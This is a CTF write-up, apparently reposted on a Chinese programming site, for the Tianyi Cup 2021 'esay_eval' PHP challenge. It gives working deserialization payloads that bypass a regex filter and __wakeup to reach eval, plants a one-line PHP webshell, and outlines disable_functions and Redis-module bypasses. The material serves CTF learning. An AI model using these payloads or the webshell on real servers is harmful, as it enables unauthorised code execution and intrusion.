[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写wakeup绕过)

本文主要是介绍[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写wakeup绕过),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[天翼杯 2021]esay_eval

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
      • 1.2.1 一阶段
      • 1.2.2 二阶段
  • 二、思考总结

1
题目代码:

<?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }
}else{highlight_file(__FILE__);
} 

1 解题流程

1.1 分析

1、看代码,有unserialize函数,说明要反序列化
2、有 eval($this->code) ,说明要RCE
3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);,说明要绕过waf
4、A的wakeup里面会把code置空,所以要绕过

起点:B(destruct)  终点:A(call)
链条:B(destruct::a=$a)-> A(call::code=命令)

1.2 解题

1.2.1 一阶段

  1. 构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)

    <?php
    class a{public $code = "phpinfo();";
    }
    class b{function __destruct(){echo $this->a->a();}
    }
    $a = new a();
    $b = new b();
    $b->a = $a;
    echo serialize($b);
    

    得到:O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}

  2. 绕过wakeup
    得到:O:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}

  3. 传参得到
    1

  4. 构造序列化代码(输出flag)

    	<?phpclass a{public $code = "system('ls');";}class b{function __destruct(){echo $this->a->a();}}$a = new a();$b = new b();$b->a = $a;echo serialize($b);得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
    

    发现页面无法执行,说明肯定有限制了,不然不会不输出

  5. 查看disable_function
    2
    原来是这里限制了,那么需要改变战略,直接上传个一句话试试

  6. 构造序列化代码(一句话)

    	<?phpclass a{//public $code = '<?php @eval($_POST["pwd"]) ?>';public $code = '@eval($_POST["pwd"]);';}class b{function __destruct(){echo $this->a->a();}}$a = new a();$b = new b();$b->a = $a;echo serialize($b);得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
    

    蚁剑成功连接
    3

1.2.2 二阶段

这里有两种不同的解法:

  1. disabled_function绕过
    disabled_function绕过
  2. AS_Redis绕过
    连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
    使用redis插件连接,执行命令即可
    redis

二、思考总结

这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!

这篇关于[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写wakeup绕过)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/177105

相关文章

Redis客户端连接机制的实现方案

《Redis客户端连接机制的实现方案》本文主要介绍了Redis客户端连接机制的实现方案,包括事件驱动模型、非阻塞I/O处理、连接池应用及配置优化,具有一定的参考价值,感兴趣的可以了解一下... 目录1. Redis连接模型概述2. 连接建立过程详解2.1 连php接初始化流程2.2 关键配置参数3. 最大连

Redis MCP 安装与配置指南

《RedisMCP安装与配置指南》本文将详细介绍如何安装和配置RedisMCP,包括快速启动、源码安装、Docker安装、以及相关的配置参数和环境变量设置,感兴趣的朋友一起看看吧... 目录一、Redis MCP 简介二、安www.chinasem.cn装 Redis MCP 服务2.1 快速启动(推荐)2.

Olingo分析和实践之EDM 辅助序列化器详解(最佳实践)

《Olingo分析和实践之EDM辅助序列化器详解(最佳实践)》EDM辅助序列化器是ApacheOlingoOData框架中无需完整EDM模型的智能序列化工具,通过运行时类型推断实现灵活数据转换,适用... 目录概念与定义什么是 EDM 辅助序列化器?核心概念设计目标核心特点1. EDM 信息可选2. 智能类

Redis中Stream详解及应用小结

《Redis中Stream详解及应用小结》RedisStreams是Redis5.0引入的新功能,提供了一种类似于传统消息队列的机制,但具有更高的灵活性和可扩展性,本文给大家介绍Redis中Strea... 目录1. Redis Stream 概述2. Redis Stream 的基本操作2.1. XADD

SpringSecurity整合redission序列化问题小结(最新整理)

《SpringSecurity整合redission序列化问题小结(最新整理)》文章详解SpringSecurity整合Redisson时的序列化问题,指出需排除官方Jackson依赖,通过自定义反序... 目录1. 前言2. Redission配置2.1 RedissonProperties2.2 Red

Knife4j+Axios+Redis前后端分离架构下的 API 管理与会话方案(最新推荐)

《Knife4j+Axios+Redis前后端分离架构下的API管理与会话方案(最新推荐)》本文主要介绍了Swagger与Knife4j的配置要点、前后端对接方法以及分布式Session实现原理,... 目录一、Swagger 与 Knife4j 的深度理解及配置要点Knife4j 配置关键要点1.Spri

Redis出现中文乱码的问题及解决

《Redis出现中文乱码的问题及解决》:本文主要介绍Redis出现中文乱码的问题及解决,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. 问题的产生2China编程. 问题的解决redihttp://www.chinasem.cns数据进制问题的解决中文乱码问题解决总结

Redis的持久化之RDB和AOF机制详解

《Redis的持久化之RDB和AOF机制详解》:本文主要介绍Redis的持久化之RDB和AOF机制,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述RDB(Redis Database)核心原理触发方式手动触发自动触发AOF(Append-Only File)核

Redis分片集群、数据读写规则问题小结

《Redis分片集群、数据读写规则问题小结》本文介绍了Redis分片集群的原理,通过数据分片和哈希槽机制解决单机内存限制与写瓶颈问题,实现分布式存储和高并发处理,但存在通信开销大、维护复杂及对事务支持... 目录一、分片集群解android决的问题二、分片集群图解 分片集群特征如何解决的上述问题?(与哨兵模

SpringBoot连接Redis集群教程

《SpringBoot连接Redis集群教程》:本文主要介绍SpringBoot连接Redis集群教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. 依赖2. 修改配置文件3. 创建RedisClusterConfig4. 测试总结1. 依赖 <de